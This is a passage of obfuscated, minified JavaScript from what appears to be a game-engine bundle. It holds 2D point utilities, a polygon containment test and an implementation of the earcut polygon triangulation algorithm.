(_0xcc3112, _0x1a3b60, _0x180ba3) { void 0x0 === _0x180ba3 && (_0x180ba3 = new _0x5521f5()); var _0x5aa2fe = _0xcc3112['x'] * _0x1a3b60['x'] + _0xcc3112['y'] * _0x1a3b60['y']; return 0x0 !== _0x5aa2fe && (_0x180ba3['x'] = _0x5aa2fe * _0x1a3b60['x'], _0x180ba3['y'] = _0x5aa2fe * _0x1a3b60['y']), _0x180ba3; }; }, 0x3af5: (_0x239008, _0x498d95, _0x78617) => { var _0x556462 = _0x78617(0x7079); _0x239008['exports'] = function (_0x568c3c, _0x580771) { if (0x0 !== _0x568c3c['x'] || 0x0 !== _0x568c3c['y']) { var _0x2b9bb4 = _0x556462(_0x568c3c); _0x568c3c['x'] /= _0x2b9bb4, _0x568c3c['y'] /= _0x2b9bb4; } return _0x568c3c['x'] *= _0x580771, _0x568c3c['y'] *= _0x580771, _0x568c3c; }; }, 0xaabf: (_0x56d5e2, _0x5b69a5, _0x4b2a28) => { var _0x879b5c = _0x4b2a28(0x85d); _0x879b5c['Ceil'] = _0x4b2a28(0x17926), _0x879b5c['Clone'] = _0x4b2a28(0x1857a), _0x879b5c['CopyFrom'] = _0x4b2a28(0x109aa), _0x879b5c['Equals'] = _0x4b2a28(0x6ca6), _0x879b5c['Floor'] = _0x4b2a28(0x11f5d), _0x879b5c['GetCentroid'] = _0x4b2a28(0x15603), _0x879b5c['GetMagnitude'] = _0x4b2a28(0x7079), _0x879b5c['GetMagnitudeSq'] = _0x4b2a28(0xad75), _0x879b5c['GetRectangleFromPoints'] = _0x4b2a28(0x5189), _0x879b5c['Interpolate'] = _0x4b2a28(0x6628), _0x879b5c['Invert'] = _0x4b2a28(0xd9d7), _0x879b5c['Negative'] = _0x4b2a28(0x13648), _0x879b5c['Project'] = _0x4b2a28(0x11ce2), _0x879b5c['ProjectUnit'] = _0x4b2a28(0xf5a0), _0x879b5c['SetMagnitude'] = _0x4b2a28(0x3af5), _0x56d5e2['exports'] = _0x879b5c; }, 0x3012: (_0x1a9a0b, _0x5c24b5, _0xc8116b) => { var _0x212bdf = _0xc8116b(0x6475); _0x1a9a0b['exports'] = function (_0xedd158) { return new _0x212bdf(_0xedd158['points']); }; }, 0xf946: _0xf90060 => { _0xf90060['exports'] = function (_0x3f08ec, _0x3398b5, _0x226006) { for (var _0x13826c = !0x1, _0x217635 = -0x1, _0x594c8c = _0x3f08ec['points']['length'] - 0x1; ++_0x217635 < _0x3f08ec['points']['length']; _0x594c8c = _0x217635) { var _0x7e84f8 = _0x3f08ec['points'][_0x217635]['x'], _0x55585b = _0x3f08ec['points'][_0x217635]['y'], _0x12eddc = _0x3f08ec['points'][_0x594c8c]['x'], _0x18c042 = _0x3f08ec['points'][_0x594c8c]['y']; (_0x55585b <= _0x226006 && _0x226006 < _0x18c042 || _0x18c042 <= _0x226006 && _0x226006 < _0x55585b) && _0x3398b5 < (_0x12eddc - _0x7e84f8) * (_0x226006 - _0x55585b) / (_0x18c042 - _0x55585b) + _0x7e84f8 && (_0x13826c = !_0x13826c); } return _0x13826c; }; }, 0x1840a: (_0x54a3e5, _0xc05b74, _0x1371bf) => { var _0x2d8d36 = _0x1371bf(0xf946); _0x54a3e5['exports'] = function (_0x1a47fe, _0x34bb82) { return _0x2d8d36(_0x1a47fe, _0x34bb82['x'], _0x34bb82['y']); }; }, 0x1725b: _0x2d0f22 => { 'use strict'; function _0xc2b848(_0x14729e, _0x4c5b80, _0x5d063f) { _0x5d063f = _0x5d063f || 0x2; var _0x1c4c0c, _0x1ddf36, _0x53649d, _0x5355cf, _0x304340, _0x106913, _0x235699, _0x325c18 = _0x4c5b80 && _0x4c5b80['length'], _0x525f65 = _0x325c18 ? _0x4c5b80[0x0] * _0x5d063f : _0x14729e['length'], _0x372cea = _0x1cc75e(_0x14729e, 0x0, _0x525f65, _0x5d063f, !0x0), _0x1da0c3 = []; if (!_0x372cea || _0x372cea['next'] === _0x372cea['prev']) return _0x1da0c3; if (_0x325c18 && (_0x372cea = function (_0x1308bc, _0x27c4c5, _0x2139a7, _0xe555bf) { var _0x14c7b5, _0x1400a5, _0x1a1148, _0x496225 = []; for (_0x14c7b5 = 0x0, _0x1400a5 = _0x27c4c5['length']; _0x14c7b5 < _0x1400a5; _0x14c7b5++)(_0x1a1148 = _0x1cc75e(_0x1308bc, _0x27c4c5[_0x14c7b5] * _0xe555bf, _0x14c7b5 < _0x1400a5 - 0x1 ? _0x27c4c5[_0x14c7b5 + 0x1] * _0xe555bf : _0x1308bc['length'], _0xe555bf, !0x1)) === _0x1a1148['next'] && (_0x1a1148['steiner'] = !0x0), _0x496225['push'](_0x10738d(_0x1a1148)); for (_0x496225['sort'](_0x4e0b1b), _0x14c7b5 = 0x0; _0x14c7b5 < _0x496225['length']; _0x14c7b5++)_0x2139a7 = _0xb5b74e(_0x496225[_0x14c7b5], _0x2139a7); return _0x2139a7; }(_0x14729e, _0x4c5b80, _0x372cea, _0x5d063f)), _0x14729e['length'] > 0x50 * _0x5d063f) { _0x1c4c0c = _0x53649d = _0x14729e[0x0], _0x1ddf36 = _0x5355cf = _0x14729e[0x1]; for (var _0x30c25f = _0x5d063f; _0x30c25f < _0x525f65; _0x30c25f += _0x5d063f)(_0x304340 = _0x14729e[_0x30c25f]) < _0x1c4c0c && (_0x1c4c0c = _0x304340), (_0x106913 = _0x14729e[_0x30c25f + 0x1]) < _0x1ddf36 && (_0x1ddf36 = _0x106913), _0x304340 > _0x53649d && (_0x53649d = _0x304340), _0x106913 > _0x5355cf && (_0x5355cf = _0x106913); _0x235699 = 0x0 !== (_0x235699 = Math['max'](_0x53649d - _0x1c4c0c, _0x5355cf - _0x1ddf36)) ? 0x7fff / _0x235699 : 0x0; } return _0x31225f(_0x372cea, _0x1da0c3, _0x5d063f, _0x1c4c0c, _0x1ddf36, _0x235699, 0x0), _0x1da0c3; } function _0x1cc75e(_0x1d24bd, _0x125a52, _0x257453, _0x2358ef, _0x5c25d3) { var _0x26f835, _0x24335e; if (_0x5c25d3 === _0x142e21(_0x1d24bd, _0x125a52, _0x257453, _0x2358ef) > 0x0) { for (_0x26f835 = _0x125a52; _0x26f835 < _0x257453; _0x26f835 += _0x2358ef)_0x24335e = _0x10f6e3(_0x26f835, _0x1d24bd[_0x26f835], _0x1d24bd[_0x26f835 + 0x1], _0x24335e); } else { for (_0x26f835 = _0x257453 - _0x2358ef; _0x26f835 >= _0x125a52; _0x26f835 -= _0x2358ef)_0x24335e = _0x10f6e3(_0x26f835, _0x1d24bd[_0x26f835], _0x1d24bd[_0x26f835 + 0x1], _0x24335e); } return _0x24335e && _0xb3dff8(_0x24335e, _0x24335e['next']) && (_0x55e0e7(_0x24335e), _0x24335e = _0x24335e['next']), _0x24335e; } function _0x383a2e(_0x4e519f, _0x27a8c4) { if (!_0x4e519f) return _0x4e519f; _0x27a8c4 || (_0x27a8c4 = _0x4e519f); var _0x511d4f, _0x88f122 = _0x4e519f; do { if (_0x511d4f = !0x1, _0x88f122['steiner'] || !_0xb3dff8(_0x88f122, _0x88f122['next']) && 0x0 !== _0x1cf0cc(_0x88f122['prev'], _0x88f122, _0x88f122['next'])) _0x88f122 = _0x88f122['next']; else { if (_0x55e0e7(_0x88f122), (_0x88f122 = _0x27a8c4 = _0x88f122['prev']) === _0x88f122['next']) break; _0x511d4f = !0x0; } } while (_0x511d4f || _0x88f122 !== _0x27a8c4); return _0x27a8c4; } function _0x31225f(_0x237b30, _0x350c32, _0x1e941c, _0x7f9fbf, _0x58bc3a, _0x4d0092, _0x8a0ac0) { if (_0x237b30) { !_0x8a0ac0 && _0x4d0092 && function (_0x31a4cc, _0x2688c4, _0x2d2464, _0x513bee) { var _0x2f3acb = _0x31a4cc; do { 0x0 === _0x2f3acb['z'] && (_0x2f3acb['z'] = _0xa6c461(_0x2f3acb['x'], _0x2f3acb['y'], _0x2688c4, _0x2d2464, _0x513bee)), _0x2f3acb['prevZ'] = _0x2f3acb['prev'], _0x2f3acb['nextZ'] = _0x2f3acb['next'], _0x2f3acb = _0x2f3acb['next']; } while (_0x2f3acb !== _0x31a4cc); _0x2f3acb['prevZ']['nextZ'] = null, _0x2f3acb['prevZ'] = null, function (_0x498efb) { var _0xcf0f2a, _0x83f4ba, _0x3479c5, _0x5eb265, _0x3b5908, _0x14dde0, _0x34991a, _0x4ec30c, _0x5f4ded = 0x1; do { for (_0x83f4ba = _0x498efb, _0x498efb = null, _0x3b5908 = null, _0x14dde0 = 0x0; _0x83f4ba;) { for (_0x14dde0++, _0x3479c5 = _0x83f4ba, _0x34991a = 0x0, _0xcf0f2a = 0x0; _0xcf0f2a < _0x5f4ded && (_0x34991a++, _0x3479c5 = _0x3479c5['nextZ']); _0xcf0f2a++); for (_0x4ec30c = _0x5f4ded; _0x34991a > 0x0 || _0x4ec30c > 0x0 && _0x3479c5;)0x0 !== _0x34991a && (0x0 === _0x4ec30c || !_0x3479c5 || _0x83f4ba['z'] <= _0x3479c5['z']) ? (_0x5eb265 = _0x83f4ba, _0x83f4ba = _0x83f4ba['nextZ'], _0x34991a--) : (_0x5eb265 = _0x3479c5, _0x3479c5 = _0x3479c5['nextZ'], _0x4ec30c--), _0x3b5908 ? _0x3b5908['nextZ'] = _0x5eb265 : _0x498efb = _0x5eb265, _0x5eb265['prevZ'] = _0x3b5908, _0x3b5908 = _0x5eb265; _0x83f4ba = _0x3479c5; } _0x3b5908['nextZ'] = null, _0x5f4ded *= 0x2; } while (_0x14dde0 > 0x1); }(_0x2f3acb); }(_0x237b30, _0x7f9fbf, _0x58bc3a, _0x4d0092); for (var _0x47cfb5, _0x3021b9, _0x48c0d9 = _0x237b30; _0x237b30['prev'] !== _0x237b30['next'];)if (_0x47cfb5 = _0x237b30['prev'], _0x3021b9 = _0x237b30['next'], _0x4d0092 ? _0x3f399f(_0x237b30, _0x7f9fbf, _0x58bc3a, _0x4d0092) : _0xa12d16(_0x237b30)) _0x350c32['push'](_0x47cfb5['i'] / _0x1e941c | 0x0), _0x350c32['push'](_0x237b30['i'] / _0x1e941c | 0x0), _0x350c32['push'](_0x3021b9['i'] / _0x1e941c | 0x0), _0x55e0e7(_0x237b30), _0x237b30 = _0x3021b9['next'], _0x48c0d9 = _0x3021b9['next']; else { if ((_0x237b30 = _0x3021b9) === _0x48c0d9) { _0x8a0ac0 ? 0x1 === _0x8a0ac0 ? _0x31225f(_0x237b30 = _0x3ce735(_0x383a2e(_0x237b30), _0x350c32, _0x1e941c), _0x350c32, _0x1e941c, _0x7f9fbf, _0x58bc3a, _0x4d0092, 0x2) : 0x2 === _0x8a0ac0 && _0x2f1899(_0x237b30, _0x350c32, _0x1e941c, _0x7f9fbf, _0x58bc3a, _0x4d0092) : _0x31225f(_0x383a2e(_0x237b30), _0x350c32, _0x1e941c, _0x7f9fbf, _0x58bc3a, _0x4d0092, 0x1); break; } } } } function _0xa12d16(_0x2fd778) { var _0x3c2c96 = _0x2fd778['prev'], _0x5cbc7b = _0x2fd778, _0x2fc454 = _0x2fd778['next']; if (_0x1cf0cc(_0x3c2c96, _0x5cbc7b, _0x2fc454) >= 0x0) return !0x1; for (var _0x1e0875 = _0x3c2c96['x'], _0x3b5384 = _0x5cbc7b['x'], _0x37be03 = _0x2fc454['x'], _0x17915e = _0x3c2c96['y'], _0x1fd33e = _0x5cbc7b['y'], _0x4afdf3 = _0x2fc454['y'], _0x1b0044 = _0x1e0875 < _0x3b5384 ? _0x1e0875 < _0x37be03 ? _0x1e0875 : _0x37be03 : _0x3b5384 < _0x37be03 ? _0x3b5384 : _0x37be03, _0x165e15 = _0x17915e < _0x1fd33e ? _0x17915e < _0x4afdf3 ? _0x17915e : _0x4afdf3 : _0x1fd33e < _0x4afdf3 ? _0x1fd33e : _0x4afdf3, _0x26ef7d = _0x1e0875 > _0x3b5384 ? _0x1e0875 > _0x37be03 ? _0x1e0875 : _0x37be03 : _0x3b5384 > _0x37be03 ? _0x3b5384 : _0x37be03, _0x32e80b = _0x17915e > _0x1fd33e ? _0x17915e > _0x4afdf3 ? _0x17915e : _0x4afdf3 : _0x1fd33e > _0x4afdf3 ? _0x1fd33e : _0x4afdf3, _0x52921f = _0x2fc454['next']; _0x52921f !== _0x3c2c96;) { if (_0x52921f['x'] >= _0x1b0044 && _0x52921f['x'] <= _0x26ef7d && _0x52921f['y'] >= _0x165e15 && _0x52921f['y'] <= _0x32e80b && _0x2eab76(_0x1e0875, _0x17915e, _0x3b5384, _0x1fd33e, _0x37be03, _0x4afdf3, _0x52921f['x'], _0x52921f['y']) && _0x1cf0cc(_0x52921f['prev'], _0x52921f, _0x52921f['next']) >= 0x0) return !0x1; _0x52921f = _0x52921f['next']; } return !0x0; } function _0x3f399f(_0x2003cd, _0x274ec2, _0x3d2757, _0x56fd5d) { var _0x2857ad = _0x2003cd['prev'], _0x5d7ea5 = _0x2003cd, _0x2968d7 = _0x2003cd['next']; if (_0x1cf0cc(_0x2857ad, _0x5d7ea5, _0x2968d7) >= 0x0) return !0x1; for (var _0x5c70fe = _0x2857ad['x'], _0x5e8fe0 = _0x5d7ea5['x'], _0x1566a9 = _0x2968d7['x'], _0x1a6480 = _0x2857ad['y'], _0x3d46f6 = _0x5d7ea5['y'], _0x8841d4 = _0x2968d7['y'], _0x321d7f = _0x5c70fe < _0x5e8fe0 ? _0x5c70fe < _0x1566a9 ? _0x5c70fe : _0x1566a9 : _0x5e8fe0 < _0x1566a9 ? _0x5e8fe0 : _0x1566a9, _0x32300b = _0x1a6480 < _0x3d46f6 ? _0x1a6480 < _0x8841d4 ? _0x1a6480 : _0x8841d4 : _0x3d46f6 < _0x8841d4 ? _0x3d46f6 : _0x8841d4, _0xc3205 = _0x5c70fe > _0x5e8fe0 ? _0x5c70fe > _0x1566a9 ? _0x5c70fe : _0x1566a9 : _0x5e8fe0 > _0x1566a9 ? _0x5e8fe0 : _0x1566a9, _0x456fbc = _0x1a6480 > _0x3d46f6 ? _0x1a6480 > _0x8841d4 ? _0x1a6480 : _0x8841d4 : _0x3d46f6 > _0x8841d4 ? _0x3d46f6 : _0x8841d4, _0x44c791 = _0xa6c461(_0x321d7f, _0x32300b, _0x274ec2, _0x3d2757, _0x56fd5d), _0x1ba5f4 = _0xa6c461(_0xc3205, _0x456fbc, _0x274ec2, _0x3d2757, _0x56fd5d), _0x381bb1 = _0x2003cd['prevZ'], _0x30ab5f = _0x2003cd['nextZ']; _0x381bb1 && _0x381bb1['z'] >= _0x44c791 && _0x30ab5f && _0x30ab5f['z'] <= _0x1ba5f4;) { if (_0x381bb1['x'] >= _0x321d7f && _0x381bb1['x'] <= _0xc3205 && _0x381bb1['y'] >= _0x32300b && _0x381bb1['y'] <= _0x456fbc && _0x381bb1 !== _0x2857ad && _0x381bb1 !== _0x2968d7 && _0x2eab76(_0x5c70fe, _0x1a6480, _0x5e8fe0, _0x3d46f6, _0x1566a9, _0x8841d4, _0x381bb1['x'], _0x381bb1['y']) && _0x1cf0cc(_0x381bb1['prev'], _0x381bb1, _0x381bb1['next']) >= 0x0) return !0x1; if (_0x381bb1 = _0x381bb1['prevZ'], _0x30ab5f['x'] >= _0x321d7f && _0x30ab5f['x'] <= _0xc3205 && _0x30ab5f['y'] >= _0x32300b && _0x30ab5f['y'] <= _0x456fbc && _0x30ab5f !== _0x2857ad && _0x30ab5f !== _0x2968d7 && _0x2eab76(_0x5c70fe, _0x1a6480, _0x5e8fe0, _0x3d46f6, _0x1566a9, _0x8841d4, _0x30ab5f['x'], _0x30ab5f['y']) && _0x1cf0cc(_0x30ab5f['prev'], _0x30ab5f, _0x30ab5f['next']) >= 0x0) return !0x1; _0x30ab5f = _0x30ab5f['nextZ']; } for (; _0x381bb1 && _0x381bb1['z'] >= _0x44c791;) { if (_0x381bb1['x'] >= _0x321d7f && _0x381bb1['x'] <= _0xc3205 && _0x381bb1['y'] >= _0x32300b && _0x381bb1['y'] <= _0x456fbc && _0x381bb1 !== _0x2857ad && _0x381bb1 !== _0x2968d7 && _0x2eab76(_0x5c70fe, _0x1a6480, _0x5e8fe0, _0x3d46f6, _0x1566a9, _0x8841d4, _0x381bb1['x'], _0x381bb1['y']) && _0x1cf0cc(_0x381bb1['prev'], _0x381bb1, _0x381bb1['next']) >= 0x0) return !0x1; _0x381bb1 = _0x381bb1['prevZ']; } for (; _0x30ab5f && _0x30ab5f['z'] <= _0x1ba5f4;) { if (_0x30ab5f['x'] >= _0x321d7f && _0x30ab5f['x'] <= _0xc3205 && _0x30ab5f['y'] >= _0x32300b && _0x30ab5f['y'] <= _0x456fbc && _0x30ab5f !== _0x2857ad && _0x30ab5f !== _0x2968d7 && _0x2eab76(_0x5c70fe, _0x1a6480, _0x5e8fe0, _0x3d46f6, _0x1566a9, _0x8841d4, _0x30ab5f['x'], _0x30ab5f['y']) && _0x1cf0cc(_0x30ab5f['prev'], _0x30ab5f, _0x30ab5f['next']) >= 0x0) return !0x1; _0x30ab5f = _0x30ab5f['nextZ']; } return !0x0; } function _0x3ce735(_0x55fac6, _0xcc5eee, _0x3dbead) { var _0x7e96c7 = _0x55fac6; do { var _0x4abdf2 = _0x7e96c7['prev'], _0x3937a1 = _0x7e96c7['next']['next']; !_0xb3dff8(_0x4abdf2, _0x3937a1) && _0x47c131(_0x4abdf2, _0x7e96c7, _0x7e96c7['next'], _0x3937a1) && _0x3fba45(_0x4abdf2, _0x3937a1) && _0x3fba45(_0x3937a1, _0x4abdf2) && (_0xcc5eee['push'](_0x4abdf2['i'] / _0x3dbead | 0x0), _0xcc5eee['push'](_0x7e96c7['i'] / _0x3dbead | 0x0), _0xcc5eee['push'](_0x3937a1['i'] / _0x3dbead | 0x0), _0x55e0e7(_0x7e96c7), _0x55e0e7(_0x7e96c7['next']), _0x7e96c7 = _0x55fac6 = _0x3937a1), _0x7e96c7 = _0x7e96c7['next']; } while (_0x7e96c7 !== _0x55fac6); return _0x383a2e(_0x7e96c7); } function _0x2f1899(_0x1ce94f, _0x599936, _0x204e48, _0x25c409, _0xe0a542, _0x2c76e8) { var _0x469ec2 = _0x1ce94f; do { for (var _0x5b404c = _0x469ec2['next']['next']; _0x5b404c !== _0x469ec2['prev'];) { if (_0x469ec2['i'] !== _0x5b404c['i'] && _0x48dfa1(_0x469ec2, _0x5b404c)) { var _0x217d42 = _0x25be80(_0x469ec2, _0x5b404c); return _0x469ec2 = _0x383a2e(_0x469ec2, _0x469ec2['next']), _0x217d42 = _0x383a2e(_0x217d42, _0x217d42['next']), _0x31225f(_0x469ec2, _0x599936, _0x204e48, _0x25c409, _0xe0a542, _0x2c76e8, 0x0), void _0x31225f(_0x217d42, _0x599936, _0x204e48, _0x25c409, _0xe0a542, _0x2c76e8, 0x0); } _0x5b404c = _0x5b404c['next']; } _0x469ec2 = _0x469ec2['next']; } while (_0x469ec2 !== _0x1ce94f); } function _0x4e0b1b(_0x2d086e, _0x3b27b1) { return _0x2d086e['x'] - _0x3b27b1['x']; } function _0xb5b74e(_0x3f08ee, _0x24915e) { var _0x4daae5 = function (_0x332c70, _0x416cdb) { var _0x6c493a, _0x1eed3e = _0x416cdb, _0x21e998 = _0x332c70['x'], _0x57a294 = _0x332c70['y'], _0x5e1a41 = -0x1 / 0x0; do { if (_0x57a294 <= _0x1eed3e['y'] && _0x57a294 >= _0x1eed3e['next']['y'] && _0x1eed3e['next']['y'] !== _0x1eed3e['y']) { var _0x536cb2 = _0x1eed3e['x'] + (_0x57a294 - _0x1eed3e['y']) * (_0x1eed3e['next']['x'] - _0x1eed3e['x']) / (_0x1eed3e['next']['y'] - _0x1eed3e['y']); if (_0x536cb2 <= _0x21e998 && _0x536cb2 > _0x5e1a41 && (_0x5e1a41 = _0x536cb2, _0x6c493a = _0x1eed3e['x'] < _0x1eed3e['next']['x'] ? _0x1eed3e : _0x1eed3e['next'], _0x536cb2 === _0x21e998)) return _0x6c493a; } _0x1eed3e = _0x1eed3e['next']; } while (_0x1eed3e !== _0x416cdb); if (!_0x6c493a) return null; var _0x33960c, _0x484199 = _0x6c493a, _0x3cc50f = _0x6c493a['x'], _0xcbdcf3 = _0x6c493a['y'], _0x15f8cb = 0x1 / 0x0; _0x1eed3e = _0x6c493a; do { _0x21e998 >= _0x1eed3e['x'] && _0x1eed3e['x'] >= _0x3cc50f && _0x21e998 !== _0x1eed3e['x'] && _0x2eab76(_0x57a294 < _0xcbdcf3 ? _0x21e998 : _0x5e1a41, _0x57a294, _0x3cc50f, _0xcbdcf3, _0x57a294 < _0xcbdcf3 ? _0x5e1a41 : _0x21e998, _0x57a294, _0x1eed3e['x'], _0x1eed3e['y']) && (_0x33960c = Math['abs'](_0x57a294 - _0x1eed3e['y']) / (_0x21e998 - _0x1eed3e['x']), _0x3fba45(_0x1eed3e, _0x332c70) && (_0x33960c < _0x15f8cb || _0x33960c === _0x15f8cb && (_0x1eed3e['x'] > _0x6c493a['x'] || _0x1eed3e['x'] === _0x6c493a['x'] && _0x12252d(_0x6c493a, _0x1eed3e))) && (_0x6c493a = _0x1eed3e, _0x15f8cb = _0x33960c)), _0x1eed3e = _0x1eed3e['next']; } while (_0x1eed3e !== _0x484199); return _0x6c493a; }(_0x3f08ee, _0x24915e); if (!_0x4daae5) return _0x24915e; var _0x3c02e4 = _0x25be80(_0x4daae5, _0x3f08ee); return _0x383a2e(_0x3c02e4, _0x3c02e4['next']), _0x383a2e(_0x4daae5, _0x4daae5['next']); } function _0x12252d(_0x7add6, _0x2f3e61) { return _0x1cf0cc(_0x7add6['prev'], _0x7add6, _0x2f3e61['prev']) < 0x0 && _0x1cf0cc(_0x2f3e61['next'], _0x7add6, _0x7add6['next']) < 0x0; } function _0xa6c461(_0x1dd231, _0xd004da, _0x372de7, _0x11b900, _0x3b3632) { return (_0x1dd231 = 0x55555555 & ((_0x1dd231 = 0x33333333 & ((_0x1dd231 = 0xf0f0f0f & ((_0x1dd231 = 0xff00ff & ((_0x1dd231 = (_0x1dd231 - _0x372de7) * _0x3b3632 | 0x0) | _0x1dd231 << 0x8)) | _0x1dd231 << 0x4)) | _0x1dd231 << 0x2)) | _0x1dd231 << 0x1)) | (_0xd004da = 0x55555555 & ((_0xd004da = 0x33333333 & ((_0xd004da = 0xf0f0f0f & ((_0xd004da = 0xff00ff & ((_0xd004da = (_0xd004da - _0x11b900) * _0x3b3632 | 0x0) | _0xd004da << 0x8)) | _0xd004da << 0x4)) | _0xd004da << 0x2)) | _0xd004da << 0x1)) << 0x1; } function _0x10738d(_0x1ca097) { var _0x25e6bb = _0x1ca097, _0x5b276e = _0x1ca097; do { (_0x25e6bb['x'] < _0x5b276e['x'] || _0x25e6bb['x'] === _0x5b276e['x'] && _0x25e6bb['y'] < _0x5b276e['y']) && (_0x5b276e = _0x25e6bb), _0x25e6bb = _0x25e6bb['next']; } while (_0x25e6bb !== _0x1ca097); return _0x5b276e; } function _0x2eab76(_0x4779a7, _0x101be2, _0x357331, _0x3ba315, _0x550ac5, _0x135843, _0x416d22, _0x1f0e41) { return (_0x550ac5 - _0x416d22) * (_0x101be2 - _0x1f0e41) >= (_0x4779a7 - _0x416d22) * (_0x135843 - _0x1f0e41) && (_0x4779a7 - _0x416d22) * (_0x3ba315 - _0x1f0e41) >= (_0x357331 - _0x416d22) * (_0x101be2 - _0x1f0e41) && (_0x357331 - _0x416d22) * (_0x135843 - _0x1f0e41) >= (_0x550ac5 - _0x416d22) * (_0x3ba315 - _0x1f0e41); } function _0x48dfa1(_0x318637, _0xd2e642) { return _0x318637['next']['i'] !== _0xd2e642['i'] && _0x318637['prev']['i'] !== _0xd2e642['i'] && !function (_0x1d7fb9, _0x2d5023) { var _0x442ac7 = _0x1d7fb9; do { if (_0x442ac7['i'] !== _0x1d7fb9['i'] && _0x442ac7['next']['i'] !== _0x1d7fb9['i'] && _0x442ac7['i'] !== _0x2d5023['i'] && _0x442ac7['next']['i'] !== _0x2d5023['i'] && _0x47c131(_0x442ac7, _0x442ac7['next'], _0x1d7fb9, _0x2d5023)) return !0x0; _0x442ac7 = _0x442ac7['next']; } while (_0x442ac7 !== _0x1d7fb9); return !0x1; }(_0x318637, _0xd2e642) && (_0x3fba45(_0x318637, _0xd2e642) && _0x3fba45(_0xd2e642, _0x318637) && function (_0x130c82, _0x184976) { var _0x5f1e43 = _0x130c82, _0x513830 = !0x1, _0x29753b = (_0x130c82['x'] + _0x184976['x']) / 0x2, _0x4e959a = (_0x130c82['y'] + _0x184976['y']) / 0x2; do { _0x5f1e43['y'] > _0x4e959a != _0x5f1e43['next']['y'] > _0x4e959a && _0x5f1e43['next']['y'] !== _0x5f1e43['y'] && _0x29753b < (_0x5f1e43['next']['x'] - _0x5f1e43['x']) * (_0x4e959a - _0x5f1e43['y']) / (_0x5f1e43['next']['y'] - _0x5f1e43['y']) + _0x5f1e43['x'] && (_0x513830 = !_0x513830), _0x5f1e43 = _0x5f1e43['next']; } while (_0x5f1e43 !== _0x130c82); return _0x513830; }(_0x318637, _0xd2e642) && (_0x1cf0cc(_0x318637['prev'], _0x318637, _0xd2e642['prev']) || _0x1cf0cc(_0x318637, _0xd2e642['prev'], _0xd2e642)) || _0xb3dff8(_0x318637, _0xd2e642) && _0x1cf0cc(_0x318637['prev'], _0x318637, _0x318637['next']) > 0x0 && _0x1cf0cc(_0xd2e642['prev'], _0xd2e642, _0xd2e642['next']) > 0x0); } function _0x1cf0cc(_0x55fa7a, _0x43bc6d, _0x3c0b7d) { return (_0x43bc6d['y'] - _0x55fa7a['y']) * (_0x3c0b7d['x'] - _0x43bc6d['x']) - (_0x43bc6d['x'] - _0x55fa7a['x']) * (_0x3c0b7d['y'] - _0x43bc6d['y']); } function _0xb3dff8(_0x1b1178, _0x24a125) { return _0x1b1178['x'] === _0x24a125['x'] && _0x1b1178['y'] === _0x24a125['y']; } function _0x47c131(_0x1fa6ba, _0x4a6127, _0x3bb963, _0x5e7db1) { var _0x1d6954 = _0x345d8a(_0x1cf0cc(_0x1fa6ba, _0x4a6127, _0x3bb963)), _0x2254e1 = _0x345d8a(_0x1cf0cc(_0x1fa6ba, _0x4a6127, _0x5e7db1)), _0x5f3588 = _0x345d8a(_0x1cf0cc(_0x3bb963, _0x5e7db1, _0x1fa6ba)), _0x3e67ea = _0x345d8a(_0x1cf0cc(_0x3bb963, _0x5e7db1, _0x4a6127)); return _0x1d6954 !== _0x2254e1 && _0x5f3588 !== _0x3e67ea || !(0x0 !== _0x1d6954 || !_0x355fc7(_0x1fa6ba, _0x3bb963, _0x4a6127)) || !(0x0 !== _0x2254e1 || !_0x355fc7(_0x1fa6ba, _0x5e7db1, _0x4a6127)) || !(0x0 !== _0x5f3588 || !_0x355fc7(_0x3bb963, _0x1fa6ba, _0x5e7db1)) || !(0x0 !== _0x3e67ea || !_0x355fc7(_0x3bb963, _0x4a6127, _0x5e7db1)); } function _0x355fc7(_0x2e5426, _0x28656e, _0x10d44b) { return _0x28656e['x'] <= Math['max'](_0x2e5426['x'], _0x10d44b['x']) && _0x28656e['x'] >= Math['min'](_0x2e5426['x'], _0x10d44b['x']) && _0x28656e['y'] <= Math['max'](_0x2e5426['y'], _0x10d44b['y']) && _0x28656e['y'] >= Math['min'](_0x2e5426['y'], _0x10d44b['y']); } function _0x345d8a(_0xa3d6ec) { return _0xa3d6ec > 0x0 ? 0x1 : _0xa3d6ec < 0x0 ? -0x1 : 0x0; } function _0x3fba45(_0x2f2a2a, _0x1c54df) { return _0x1cf0cc(_0x2f2a2a['prev'], _0x2f2a2a, _0x2f2a2a['next']) < 0x0 ? _0x1cf0cc(_0x2f2a2a, _0x1c54df, _0x2f2a2a['next']) >= 0x0 && _0x1cf0cc(_0x2f2a2a, _0x2f2a2a['prev'], _0x1c54df) >= 0x0 : _0x1cf0cc(_0x2f2a2a, _0x1c54df, _0x2f2a2a['prev']) < 0x0 || _0x1cf0cc(_0x2f2a2a, _0x2f2a2a['next'], _0x1c54df) < 0x0; } function _0x25be80(_0x40cff5, _0x2e0101) { var _0x4e9165 = new _0x3e8545(_0x40cff5['i'], _0x40cff5['x'], _0x40cff5['y']), _0x3ad7c4 = new _0x3e8545(_0x2e0101['i'], _0x2e0101['x'], _0x2e0101['y']), _0x5e09fd = _0x40cff5['next'], _0x3fc5bd = _0x2e0101['prev']; return _0x40cff5['next'] = _0x2e0101, _0x2e0101['prev'] = _0x40cff5, _0x4e9165['next'] = _0x5e09fd, _0x5e09fd['prev'] = _0x4e9165, _0x3ad7c4['next'] = _0x4e9165, _0x4e9165['prev'] = _0x3ad7c4, _0x3fc5bd['next'] = _0x3ad7c4, _0x3ad7c4['prev'] = _0x3fc5bd, _0x3ad7c4; } function _0x10f6e3(_0x7c578b, _0x2cac8f, _0x54bf64, _0x51d884) { var _0x37e75f = new _0x3e8545(_0x7c578b, _0x2cac8f, _0x54bf64); return _0x51d884 ? (_0x37e75f['next'] = _0x51d884['next'], _0x37e75f['prev'] = _0x51d884, _0x51d884['next']['prev'] = _0x37e75f, _0x51d884['next'] = _0x37e75f) : (_0x37e75f['prev'] = _0x37e75f, _0x37e75f['next'] = _0x37e75f), _0x37e75f; } function _0x55e0e7(_0x2e9536) { _0x2e9536['next']['prev'] = _0x2e9536['prev'], _0x2e9536['prev']['next'] = _0x2e9536['next'], _0x2e9536['prevZ'] && (_0x2e9536['prevZ']['nextZ'] = _0x2e9536['nextZ']), _0x2e9536['nextZ'] && (_0x2e9536['nextZ']['prevZ'] = _0x2e9536['prevZ']); } function _0x3e8545(_0x4fec45, _0x533940, _0xab61ec) { this['i'] = _0x4fec45, this['x'] = _0x533940, this['y'] = _0xab61ec, this['prev'] = null, this['next'] = null, this['z'] = 0x0, this['prevZ'] = null, this['nextZ'] = null, this['steiner'] = !0x1; } function _0x142e21(_0x543646, _0x4905cf, 